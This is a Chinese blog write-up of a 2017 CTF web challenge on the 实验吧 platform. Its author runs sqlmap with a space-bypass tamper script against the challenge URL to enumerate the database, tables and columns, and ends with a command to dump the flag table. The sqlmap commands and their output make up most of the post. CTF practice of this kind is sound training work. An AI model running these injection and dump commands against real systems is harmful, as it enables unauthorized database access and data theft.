

实验吧 ctf 题目简单的sql注入2writeup

原创

置顶 [ZweLL032](#) 于 2017-03-11 21:47:46 发布 6096 收藏 2

分类专栏: [ctf](#) 文章标签: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/ZweLL032/article/details/61429682>

版权



[ctf](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

解题链接: http://ctf5.shiyanbar.com/web/index_2.php

1. 输入id值, 通过回显发现题目应该是进行了空格过滤

2. 使用sqlmap进行注入

2.1 `python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent --tamper=space2hash.py`

`--current-db` 查看当前数据库名称, 返回web1

```
[16:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.18, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[16:41:10] [INFO] fetching current database
[16:41:10] [INFO] resumed: web1
current database: 'web1'
```

2.2 `python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent --tamper=space2hash.py`

`--current-db --tables` 查看当前数据库名称和数据库里所有的表

```
[16:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.18, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[16:41:10] [INFO] fetching current database
[16:41:10] [INFO] resumed: web1
current database: 'web1'
[16:41:10] [INFO] fetching database names
[16:41:10] [INFO] the SQL query used returns 2 entries
[16:41:10] [INFO] resumed: information_schema
[16:41:10] [INFO] resumed: web1
[16:41:10] [INFO] fetching tables for databases: 'information_schema, web1'
[16:41:10] [INFO] the SQL query used returns 42 entries
Database: web1
[2 tables]
+-----+
| flag |
| web_1 |
+-----+
```

看到web1里有个flag表, 看来key就在里面

2.3 python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent --tamper=space2hash.py

--current-db --tables --columns 看到flag表里面有个flag列

```
Database: web1
Table: flag
[2 columns]
+-----+
| Column | Type          |
+-----+-----+
| flag   | char(30)     |
| id     | int(4)       |
+-----+-----+
```

http://blog.csdn.net/ZweLL032

2.4 python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent --tamper=space2hash.py --current-db --tables --columns flag --dump
